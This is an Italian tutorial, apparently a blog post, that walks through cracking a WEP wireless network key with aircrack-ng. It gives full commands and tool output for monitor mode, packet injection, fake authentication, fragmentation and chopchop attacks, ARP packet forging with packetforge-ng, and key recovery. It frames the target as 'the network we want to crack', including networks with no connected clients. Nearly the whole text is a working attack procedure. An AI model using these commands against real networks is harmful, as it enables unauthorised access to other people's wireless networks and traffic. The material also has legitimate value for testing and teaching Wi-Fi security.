In questo articolo verrà spiegato come trovare la chiave di una rete wep. Questo è l'hardware da me utilizzato:
router Dlink DIR-635 mac: 00:1B:11:ED:2F:2C canale 4
card Intel 4965 agn su Asus G2s Ubuntu 8.10 kernel 2.6.28-rc3
Esistono diversi metodi per poter trovare la chiave wep, tutti però consistono nella generazione di pacchetti di dati (ivs) in modo da aumentare il traffico di rete, in quanto ne servono più o meno 10000-15000 per permettervi di trovare una chiave di rete a 10 cifre. Per poter fare ciò dovete avere una scheda wireless che permetta l'injection (vi consiglio di utilizzare l'ultimo kernel disponibile in quanto contiene gli ultimi driver per la vostra scheda wireless, o se avete una scheda come la mia il metodo più veloce è
# wget http://www.intellinuxwireless.org/iwlwifi/downloads/iwlwifi-4965-ucode-228.57.2.21.tgz
# tar zxf iwlwifi-4965-ucode-228.57.2.21.tgz
# cd iwlwifi-4965-ucode-228.57.2.21
# sudo cp * /lib/firmware/
# cd ..
# wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2.6.tar.bz2
# tar xjf compat-wireless-2.6.tar.bz2
# cd compat-wireless-2008-10-31 \\(mettete la directory appena creata)
# make
# sudo make install
# sudo reboot -r now
). Per prima cosa dobbiamo aver installato la suite aircrack, se avete come me ubuntu digitate nel terminale
# sudo apt-get install aircrack-ng
ora troviamo la rete che vogliamo crackare. Disabilitiamo il wireless del network manager e nel terminale digitiamo
# sudo su
per entrare in modalità superutente, ora avviamo un'interfaccia per la monitor mode,
# airmon-ng start wlan0 (se la vostra interfaccia wireless è wlan0)
e otterremo:
Interface Chipset Driver
wlan0 iwlagn - [phy0]
(monitor mode enabled on mon0)
ora digitiamo
# airodump-ng mon0
CH 4 ][ Elapsed: 52 s ][ 2008-11-09 10:29
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1B:11:ED:2F:2C 232 171 2 0 4 54. WEP WEP dlink
BSSID STATION PWR Rate Lost Packets Probes
00:1B:11:ED:2F:2C 00:02:72:64:D1:F2 212 54-54 0 2
come vedete è stato trovato il router con la chiave wep sul canale 4 ma i pacchetti data son troppi pochi per poter trovare la chiave, è stato inoltre trovato un client connesso al router che però non genera pacchetti di dati. Come vedremo ci sono diversi tipi di attacchi, non tutti però funzionano nel caso non ci siano client connessi. Come già spiegato in precedenza gli attacchi permettono di generare i pacchetti di dati che verranno poi catturati e processati per poter trovare la chiave di rete, alla fine di ognuno di questi rimanderò alla parte finale dell'articolo in cui verrà spiegato come catturare i dati e trovare la chiave di rete.
Possiamo iniziare.
Per prima cosa impostiamo il canale sul quale fare gli attacchi, in questo caso il canale 4.
# airodump-ng --channel 4 mon0
ora possiamo tranquillamente chiudere airodump-ng in quanto non utilizzato.
Interactive frame selection
# aireplay-ng -2 -b 00:1B:11:ED:2F:2C mon0
in cui -b è il mac dell'access point, ora dovremmo avere un output del genere
No source MAC (-h) specified. Using the device MAC (00:13:E8:12:47:07)
Read 11 packets...
Size: 107, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:1B:11:ED:2F:2C
Dest. MAC = 00:1B:11:ED:2F:2C
Source MAC = 00:02:72:64:D1:F2
0x0000: 0841 2700 001b 11ed 2f2c 0002 7264 d1f2 .A'...../,..rd..
0x0010: 001b 11ed 2f2c 103e 370d 0000 314f d4ff ..../,.>7...1O..
0x0020: 91eb d898 0731 5f06 d03d 5e32 3548 367d .....1_..=^25H6}
0x0030: 6c64 ab3d 2425 eae6 dc2d 97ff 53e7 880b ld.=$%...-..S...
0x0040: 25d6 936a 6338 e334 4809 1b6f 21b3 3383 %..jc8.4H..o!.3.
0x0050: 80eb 7806 b261 497f 1705 2ce1 3aa3 e682 ..x..aI..,.:...
0x0060: b801 539a f194 7472 045b dd ..S...tr.[.
Use this packet ? y
Saving chosen packet in replay_src-1109-103852.cap
You should also start airodump-ng to capture replies.
Sent 1400 packets...(499 pps)
questo vuol dire che il programma sta già iniettando pacchetti a una velocità di 500 pacchetti per secondo, ora possiamo passare alla cattura come spiegato più avanti, chiaramente lasciando aperto il programma che sta iniettando altrimenti non avremo pacchetti dati da catturare.
Se questo non accade possiamo provare un altro attacco.
Standard ARP-request replay
# aireplay-ng -3 -b 00:1B:11:ED:2F:2C mon0
-b è sempre il mac dell'access point, e l'output dovrebbe essere questo:
No source MAC (-h) specified. Using the device MAC (00:13:E8:12:47:07)
10:44:23 Waiting for beacon frame (BSSID: 00:1B:11:ED:2F:2C) on channel 4
Saving ARP requests in replay_arp-1109-104423.cap
You should also start airodump-ng to capture replies.
Read 6672 packets (got 1 ARP requests and 2154 ACKs), sent 2156 packets...(499 pps)
Come nell'attacco precedente sta iniettando e possiamo andare alla cattura, chiaramente lasciando aperto il programma che sta iniettando altrimenti non avremo pacchetti dati da catturare.
Questi due attacchi funzionano solo se ci sono client connessi altrimenti è molto difficile che possano funzionare. Ora proviamo due attacchi utilizzati maggiormente quando non ci sono client connessi, per questo dobbiamo quindi fare un fakeauth per poterci connettere. Quindi diamo il comando
# aireplay-ng -1 0 -e dlink -a 00:1B:11:ED:2F:2C mon0
in cui -e è il nome della rete wireless e -a il mac dell'access point
(nel mio caso visto che il fakeauth di aircrack-ng non funziona dobbiamo creare un file wpa_supplicant.crack e inseriamo
network={
ssid="dlink"
key_mgmt=NONE
wep_key0="fakeauth"
}
ora da console digitiamo
# wpa_supplicant -Dwext -iwlan0 -c wpa_supplicant.crack
CTRL-EVENT-SCAN-RESULTS
Trying to associate with 00:1b:11:ed:2f:2c (SSID='dlink' freq=2427 MHz)
Associated with 00:1b:11:ed:2f:2c
CTRL-EVENT-CONNECTED - Connection to 00:1b:11:ed:2f:2c completed (auth) [id=0 id_str=]
lasciamo aperta la connessione e apriamo un nuovo terminale o una nuova scheda e entriamo anche qui in modalità superutente con "sudo su".
Nei prossimi due attacchi la tecnica è leggermente diversa in quanto questi attacchi permettono di ottenere un pacchetto PRGA (pseudo random genration algorithm) poi utilizzato per creare pacchetti ARP da iniettare per creare pacchetti dati.
Fragmentation attack
Questo attacco è utilizzabile con i router vecchi, con quelli nuovi che hanno una protezione migliore non funziona.
# aireplay-ng -5 -b 00:1b:11:ed:2f:2c mon0
No source MAC (-h) specified. Using the device MAC (00:13:E8:12:47:07)
11:01:37 Waiting for beacon frame (BSSID: 00:1B:11:ED:2F:2C) on channel 4
11:01:37 Waiting for a data packet...
Read 29 packets...
Size: 68, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:1B:11:ED:2F:2C
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:1B:11:ED:2F:2C
0x0000: 0842 0000 ffff ffff ffff 001b 11ed 2f2c .B............/,
0x0010: 001b 11ed 2f2c 307d a7ee e700 8027 36d2 ..../,0}.....'6.
0x0020: a8fb aae1 be6e 7be4 7b05 f3d2 b76d b20a .....n{.{....m..
0x0030: 3634 3a6e 969e 4519 4e51 c519 bbe3 dc9a 64:n..E.NQ......
0x0040: 8a86 66c2 ..f.
Use this packet ? y
Saving chosen packet in replay_src-1109-110140.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-1109-110150.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Ora abbiamo il pacchetto xor per generare il pacchetto ARP da iniettare. Prima però nel caso questo attacco non sia andato a buon fine utilizziamo un altro attacco.
Chopchop attack
# aireplay-ng -4 -b 00:1b:11:ed:2f:2c mon0
Read 13630 packets...
Size: 357, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:1B:11:ED:2F:2C
Dest. MAC = 00:13:E8:12:47:07
Source MAC = 00:1B:11:ED:2F:2C
0x0000: 884a 2c00 0013 e812 4707 001b 11ed 2f2c .J,.....G...../,
0x0010: 001b 11ed 2f2c 7002 0000 0965 5300 55f7 ..../,p....eS.U.
0x0020: 1344 9698 24c9 8b1a 377f 6737 c81c 7a3a .D..$...7g7..z:
0x0030: 922b a762 0e65 41dd ddfb c6cc 678d eb7d .+.b.eA.....g..}
0x0040: 7010 4a51 38fe cab3 cd03 18e2 f153 2469 p.JQ8........S$i
0x0050: 70ae 3ce8 debe b3a2 7240 0bc3 0507 b239 p.<.....r@.....9
0x0060: 476e 76fc f759 a6f4 d94e 8f0a 8cd0 6163 Gnv..Y...N....ac
0x0070: 556b bd1f 4222 2a42 15c9 92be d444 1507 Uk..B"*B.....D..
0x0080: 962e 0cfc 6874 7d24 6fe2 2ed6 d1cc 79d9 ....ht}$o.....y.
0x0090: 08fe d072 3760 8c38 3cff ad93 75cb b043 ...r7`.8<...u..C
0x00a0: 6a83 6bd4 c590 df44 a67a 3e67 ec9f 524f j.k....D.z>g..RO
0x00b0: bc32 f5be 5f47 ccd0 dc65 9ebe 5415 f1fd .2.._G...e..T...
0x00c0: c985 8cb9 7843 5048 af39 ccf3 496e adef ....xCPH.9..In..
0x00d0: 0607 a4c9 3ff4 680d 2e61 4230 c3c4 71ac ....?.h..aB0..q.
--- CUT ---
Use this packet ? y
Saving chosen packet in replay_src-1109-110412.cap
Offset 354 ( 0% done) | xor = C2 | pt = E2 | 914 frames written in 15538ms
Offset 353 ( 0% done) | xor = 17 | pt = B1 | 1532 frames written in 26047ms
Offset 352 ( 1% done) | xor = D4 | pt = A0 | 1852 frames written in 31491ms
Offset 351 ( 1% done) | xor = 2C | pt = 33 | 2088 frames written in 35486ms
Offset 350 ( 1% done) | xor = 82 | pt = 0A | 1181 frames written in 20090ms
Offset 349 ( 2% done) | xor = 1E | pt = 0D | 1359 frames written in 23093ms
Offset 348 ( 2% done) | xor = AF | pt = 0A | 1843 frames written in 31335ms
Offset 347 ( 2% done) | xor = 53 | pt = 0D | 1022 frames written in 17371ms
Offset 346 ( 3% done) | xor = 82 | pt = 30 | 1296 frames written in 22028ms
Offset 345 ( 3% done) | xor = B0 | pt = 20 | 1432 frames written in 24359ms
Offset 344 ( 3% done) | xor = E5 | pt = 3A | 1158 frames written in 19675ms
Offset 343 ( 4% done) | xor = 86 | pt = 68 | 2025 frames written in 34424ms
Offset 342 ( 4% done) | xor = 88 | pt = 74 | 2174 frames written in 36958ms
Offset 341 ( 4% done) | xor = 62 | pt = 67 | 1510 frames written in 25670ms
...
ora attendete affinchè l'offset arriva a 0, e creerà un altro file .xor da poter utilizzare per la creazione di pacchetti ARP.
Creazione del pacchetto ARP
# packetforge-ng -0 -a 00:1b:11:ed:2f:2c -h 00:13:e8:12:47:07 -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-1024-205255.xor -w arp-request
in cui
-a è il mac dell'ap
-h è il mac della vostra scheda wireless
-k è l'indirizzo di destinazione (per maggiore compatibilità)
-l è l'indirizzo di partenza
e darà
Wrote packet to: arp-request
Iniettare il pacchetto ARP
Vediamo come iniettare il pacchetto creato con packetforge-ng,
# aireplay-ng -2 -r arp-request mon0
Il sistema vi chiederà se utilizzare il pacchetto, digitate y e il programma inizierà ad iniettare i pacchetti.
Ora vi dirò come catturare i pacchetti, tecnica finale per trovare la chiave di rete. Questo dovete farlo indipendentemente da quale tecnica abbiate utilizzato.
Cattura dei pacchetti
# airodump-ng -c 4 --bssid 00:1b:11:ed:2f:2c -w capture mon0
-c 4 è il canale
--bssid è il mac dell'access point
-w capture è il file in cui salvare gli ivs
mon0 è l'interfaccia
e otterremo
CH 4 ][ Elapsed: 36 s ][ 2008-11-09 11:17
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1B:11:ED:2F:2C 239 100 346 15704 443 4 54. WEP WEP dlink
BSSID STATION PWR Rate Lost Packets Probes
00:1B:11:ED:2F:2C 00:13:E8:12:47:07 0 0- 1 11 31371 dlink
ora che il programma sta scrivendo nel file capture* i pacchetti di dati dobbiamo avviare il programma per decriptare i pacchetti e ottenere la chiave.
NOTA: più pacchetti ci sono più veloce sarà il processo.
Il programma ha salvato i dati nel file capture-01.cap, da console diamo
# aircrack-ng capture-01.cap
e avremo
Opening capture-01.cap
Read 47198 packets.
# BSSID ESSID Encryption
1 00:1B:11:ED:2F:2C dlink WEP (15751 IVs)
Choosing first network as target.
Opening capture-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 15751 ivs.
Aircrack-ng 1.0 rc1
[00:00:00] Tested 119 keys (got 15751 IVs)
KB depth byte(vote)
0 1/ 2 12(22784) 48(20480) EE(19968) 52(19456) 74(19456) BF(19456) F1(19456) BD(19200) DB(19200) E3(19200) F3(19200) 41(18944) 55(18944) 56(18944)
1 1/ 3 34(21760) CE(21504) 1F(20992) 54(20224) 1A(19968) E3(19968) E9(19712) 00(19456) A0(19456) FD(19456) 0C(19200) C2(19200) 35(18944) AB(18944)
2 1/ 2 56(22016) 19(20480) 1B(20480) E3(20480) F8(20480) 6F(19712) A3(19712) B5(19712) CF(19712) E5(19712) 09(19456) C1(19456) DA(19456) 4A(18944)
3 0/ 1 78(23552) F0(22528) 2F(20992) 2D(20480) 96(20480) FF(20480) 4C(20224) 77(19968) 1B(19712) 3F(19712) 9F(19456) FA(19456) D4(19200) F6(19200)
4 2/ 10 BC(19456) 17(19200) 81(19200) BE(19200) C0(19200) 28(18944) 2A(18944) A4(18944) BD(18944) 08(18688) 27(18688) 3C(18688) 4D(18688) 9A(18688)
KEY FOUND! [ 12:34:56:78:90 ]
Decrypted correctly: 100%
Come vedete avete trovato la chiave, che con 15000 pacchetti dati l'avete trovata in 0.588 secondi.